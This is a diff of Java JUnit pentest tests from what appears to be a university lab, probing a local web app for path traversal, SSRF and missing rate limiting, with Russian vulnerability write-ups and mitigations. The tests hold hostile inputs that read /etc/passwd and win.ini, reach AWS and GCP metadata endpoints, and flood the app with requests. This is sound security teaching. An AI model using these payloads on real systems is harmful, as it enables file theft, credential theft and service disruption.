+ * МЕРЫ ЗАЩИТЫ: + * - Использовать Paths.get() с нормализацией пути + * - Проверять, что нормализованный путь начинается с разрешённой директории + * - Блокировать последовательности "../" и опасные символы + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class PathTraversalPentestTest { + + private static final int TEST_PORT = 7777; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + @Test + @Order(1) + @DisplayName("[RECON] Регистрация пользователя для тестирования Path Traversal") + void registerTestUser() throws Exception { + HttpResponse response = send("POST", "/register?userId=alice&userName=Alice"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("User registered"), + "Пользователь должен успешно зарегистрироваться"); + } + + @Test + @Order(2) + @DisplayName("[RECON] Нормальное поведение /exportReport") + void normalExportReportBehavior() throws Exception { + send("POST", "/register?userId=normal_user&userName=NormalUser"); + + HttpResponse response = send("GET", "/exportReport?userId=normal_user&filename=test.txt"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("Report saved to"), + "Нормальный запрос должен сохранять отчёт"); + } + + + @Test + @Order(3) + @DisplayName("[EXPLOIT] Path Traversal через ../ в filename") + void pathTraversalWithDotDotSlash() throws Exception { + send("POST", "/register?userId=path_traversal_user&userName=PathTraversalUser"); + + String maliciousFilename = "../../../../tmp/evil.txt"; + + HttpResponse response = send("GET", + "/exportReport?userId=path_traversal_user&filename=" + enc(maliciousFilename)); + + assertNotEquals(400, response.statusCode(), + "УЯЗВИМОСТЬ: сервер не должен обрабатывать filename с ../ - должен возвращать 400"); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] Path Traversal с кодированием %2e%2e%2f") + void pathTraversalWithDoubleEncoding() throws Exception { + send("POST", "/register?userId=double_encoding_user&userName=DoubleEncodingUser"); + + String maliciousFilename = "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"; + + HttpResponse response = send("GET", + "/exportReport?userId=double_encoding_user&filename=" + maliciousFilename); + + assertNotEquals(400, response.statusCode(), + "УЯЗВИМОСТЬ: кодированный Path Traversal должен блокироваться"); + } + + @Test + @Order(5) + @DisplayName("[EXPLOIT] Windows-style Path Traversal") + void windowsPathTraversal() throws Exception { + send("POST", "/register?userId=windows_user&userName=WindowsUser"); + + String maliciousFilename = "..\\..\\..\\Windows\\win.ini"; + + HttpResponse response = send("GET", + "/exportReport?userId=windows_user&filename=" + enc(maliciousFilename)); + + assertNotEquals(400, response.statusCode(), + "УЯЗВИМОСТЬ: Windows-style Path Traversal должен блокироваться"); + } + + @Test + @Order(6) + @DisplayName("[BOUNDARY] Пустой filename возвращает ошибку") + void emptyFilenameReturnsError() throws Exception { + send("POST", "/register?userId=empty_user&userName=EmptyUser"); + + HttpResponse response = send("GET", "/exportReport?userId=empty_user&filename="); + + assertEquals(500, response.statusCode(), + "Пустой filename должен возвращать 500"); + } + + @Test + @Order(7) + @DisplayName("[BOUNDARY] Отсутствие filename возвращает ошибку") + void missingFilenameReturnsError() throws Exception { + send("POST", "/register?userId=missing_user&userName=MissingUser"); + + HttpResponse response = send("GET", "/exportReport?userId=missing_user"); + + assertEquals(400, response.statusCode(), + "Отсутствие параметра filename должно возвращать 400"); + } + + @Test + @Order(8) + @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404") + void nonExistentUserReturns404() throws Exception { + HttpResponse response = send("GET", "/exportReport?userId=nonexistent&filename=test.txt"); + + assertEquals(404, response.statusCode(), + "Несуществующий userId должен возвращать 404"); + } + + private static String enc(String value) { + return URLEncoder.encode(value, StandardCharsets.UTF_8); + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/RateLimitingPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/RateLimitingPentestTest.java new file mode 100644 index 0000000..f2b9eb5 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/RateLimitingPentestTest.java @@ -0,0 +1,144 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * ПЕНТЕСТ-ОТЧЁТ: CWE-770 - Отсутствие Rate Limiting + * ============================================================================= + *

+ * Компонент: Все эндпоинты (GET /totalActivity, POST /recordSession и т.д.) + * CWE: CWE-770 (Allocation of Resources Without Limits or Throttling) + * CVSS v3.1: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L + * Статус: CONFIRMED + *

+ * ОПИСАНИЕ: + * Приложение не ограничивает количество запросов от одного клиента. + * Злоумышленник может отправлять тысячи запросов в секунду, вызывая + * отказ в обслуживании (Denial of Service). + *

+ * ВЕКТОР АТАКИ: + * 1. Злоумышленник регистрирует пользователя + * 2. Выполняет 200 быстрых последовательных запросов подряд + * -> Все 200 запросов успешно обработаны, сервер перегружен. + *

+ * ВЛИЯНИЕ: + * - Перегрузка сервера CPU/IO + * - Исчерпание памяти + * - Недоступность приложения для легитимных пользователей + * - Заполнение базы данных миллионами фейковых сессий + *

+ * МЕРЫ ЗАЩИТЫ: + * - Внедрить rate limiting с помощью Bucket4j, Resilience4j + * - Ограничить количество запросов в минуту на IP или userId + * - Возвращать HTTP 429 Too Many Requests при превышении лимита + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class RateLimitingPentestTest { + + private static final int TEST_PORT = 7777; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + private static final int REQUEST_LIMIT = 100; + private static final int EXCEED_LIMIT = 200; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + @Test + @Order(1) + @DisplayName("[RECON] Регистрация пользователя для тестирования") + void registerTestUser() throws Exception { + HttpResponse response = send("POST", "/register?userId=rate_test&userName=RateTest"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("User registered"), + "Пользователь должен успешно зарегистрироваться"); + } + + @Test + @Order(2) + @DisplayName("[EXPLOIT] Отсутствие rate limiting - можно отправить много запросов подряд") + void noRateLimitingMultipleRequests() throws Exception { + int successCount = 0; + long startTime = System.currentTimeMillis(); + + for (int i = 0; i < EXCEED_LIMIT; i++) { + HttpResponse response = send("GET", "/totalActivity?userId=rate_test"); + if (response.statusCode() == 200) { + successCount++; + } + } + + long duration = System.currentTimeMillis() - startTime; + + System.out.println("Requests: " + EXCEED_LIMIT + + ", Success: " + successCount + + ", Duration: " + duration + "ms"); + + assertEquals(EXCEED_LIMIT, successCount, + "УЯЗВИМОСТЬ: все " + EXCEED_LIMIT + " запросов должны быть обработаны, " + + "так как rate limiting отсутствует. Обработано: " + successCount); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] Отсутствие rate limiting - спам сессиями") + void noRateLimitingSessionSpam() throws Exception { + int successCount = 0; + int sessionSpamCount = 100; + + for (int i = 0; i < sessionSpamCount; i++) { + HttpResponse response = send("POST", + "/recordSession?userId=rate_test&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + if (response.statusCode() == 200) { + successCount++; + } + } + + assertTrue(successCount > sessionSpamCount * 0.9, + "УЯЗВИМОСТЬ: спам сессиями должен ограничиваться rate limiting, " + + "но обработано " + successCount + " из " + sessionSpamCount + " запросов"); + } + + @Test + @Order(4) + @DisplayName("[BOUNDARY] Запросы в рамках лимита должны работать") + void requestsWithinLimitShouldWork() throws Exception { + for (int i = 0; i < REQUEST_LIMIT; i++) { + HttpResponse response = send("GET", "/totalActivity?userId=rate_test"); + + assertNotEquals(500, response.statusCode(), + "Сервер не должен падать на запросе " + i); + } + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java new file mode 100644 index 0000000..d077f43 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java @@ -0,0 +1,194 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * ПЕНТЕСТ-ОТЧЕТ: CWE-918 - Server-Side Request Forgery (SSRF) + * ============================================================================= + *

+ * Компонент: POST /notify + * CWE: CWE-918 (Server-Side Request Forgery) + * CVSS v3.1: 8.3 (High) - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N + * Статус: CONFIRMED + *

+ * ОПИСАНИЕ: + * Эндпоинт /notify принимает параметр callbackUrl и делает HTTP-запрос + * по этому URL без валидации. Злоумышленник может заставить сервер + * отправлять запросы к внутренним ресурсам. + *

+ * ВЕКТОР АТАКИ: + * 1. Выполнить запрос с callbackUrl на внутренний сервис: + * POST /notify?userId=alice&callbackUrl=... + * -> Сервер делает запрос к указанному URL и возвращает ответ. + *

+ * ВЛИЯНИЕ: + * - Сканирование внутренней сети + * - Получение метаданных облачных провайдеров (AWS/GCP/Azure) + * - Атака на внутренние сервисы (Redis, Elasticsearch, базы данных) + * - Чтение локальных файлов через file:// протокол + *

+ * МЕРЫ ЗАЩИТЫ: + * - Белый список разрешённых доменов и протоколов + * - Блокировка внутренних IP-адресов (127.0.0.1, 10.x.x.x, 172.16.x.x, 192.168.x.x) + * - Блокировка метаданных облаков (169.254.169.254, metadata.google.internal) + * - Запрет протоколов file://, dict://, gopher:// + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class SsrfPentestTest { + + private static final int TEST_PORT = 7777; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + + @Test + @Order(1) + @DisplayName("[RECON] Регистрация пользователя для тестирования") + void registerTestUser() throws Exception { + HttpResponse response = send("/register?userId=ssrf_test&userName=SSRFTest"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("User registered")); + } + + @Test + @Order(2) + @DisplayName("[RECON] Нормальное поведение /notify с внешним URL") + void normalNotifyBehavior() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=https://httpbin.org/get"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("Notification sent")); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT] SSRF на localhost") + void ssrfToLocalhost() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=http://localhost:" + TEST_PORT + "/userProfile?userId=ssrf_test"); + + assertEquals(200, response.statusCode(), + "Сервер делает запрос к localhost - это SSRF уязвимость"); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] SSRF на 127.0.0.1") + void ssrfToLoopback() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=http://127.0.0.1:" + TEST_PORT + "/totalActivity?userId=ssrf_test"); + + assertEquals(200, response.statusCode(), + "Сервер делает запрос к 127.0.0.1 - это SSRF уязвимость"); + } + + @Test + @Order(5) + @DisplayName("[EXPLOIT] SSRF на внутренний IP (192.168.x.x)") + void ssrfToInternalIp() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=http://192.168.1.1:80"); + + assertNotEquals(400, response.statusCode(), + "Запрос к внутреннему IP должен блокироваться на уровне валидации, а не падать с ошибкой соединения"); + } + + @Test + @Order(6) + @DisplayName("[EXPLOIT] SSRF на AWS metadata endpoint") + void ssrfToAwsMetadata() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=http://169.254.169.254/latest/meta-data/"); + + assertNotEquals(400, response.statusCode(), + "Доступ к метаданным AWS должен блокироваться на уровне валидации"); + } + + @Test + @Order(7) + @DisplayName("[EXPLOIT] SSRF на GCP metadata endpoint") + void ssrfToGcpMetadata() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=http://metadata.google.internal/computeMetadata/v1/"); + + assertNotEquals(400, response.statusCode(), + "Доступ к метаданным GCP должен блокироваться на уровне валидации"); + } + + @Test + @Order(8) + @DisplayName("[EXPLOIT] SSRF через file:// протокол") + void ssrfWithFileProtocol() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=file:///etc/passwd"); + + assertNotEquals(400, response.statusCode(), + "file:// протокол должен блокироваться на уровне валидации"); + } + + @Test + @Order(9) + @DisplayName("[EXPLOIT] SSRF через dict:// протокол") + void ssrfWithDictProtocol() throws Exception { + HttpResponse response = send( + "/notify?userId=ssrf_test&callbackUrl=dict://localhost:11211/stat"); + + assertNotEquals(400, response.statusCode(), + "dict:// протокол должен блокироваться на уровне валидации"); + } + + @Test + @Order(10) + @DisplayName("[BOUNDARY] Пустой callbackUrl возвращает ошибку") + void emptyCallbackUrlReturnsError() throws Exception { + HttpResponse response = send("/notify?userId=ssrf_test&callbackUrl="); + + assertEquals(500, response.statusCode(), + "Пустой callbackUrl должен возвращать 500"); + } + + @Test + @Order(11) + @DisplayName("[BOUNDARY] Отсутствие callbackUrl возвращает ошибку") + void missingCallbackUrlReturnsError() throws Exception { + HttpResponse response = send("/notify?userId=ssrf_test"); + + assertEquals(400, response.statusCode(), + "Отсутствие параметра callbackUrl должно возвращать 400"); + } + + private HttpResponse send(String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method("POST", HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} \ No newline at end of file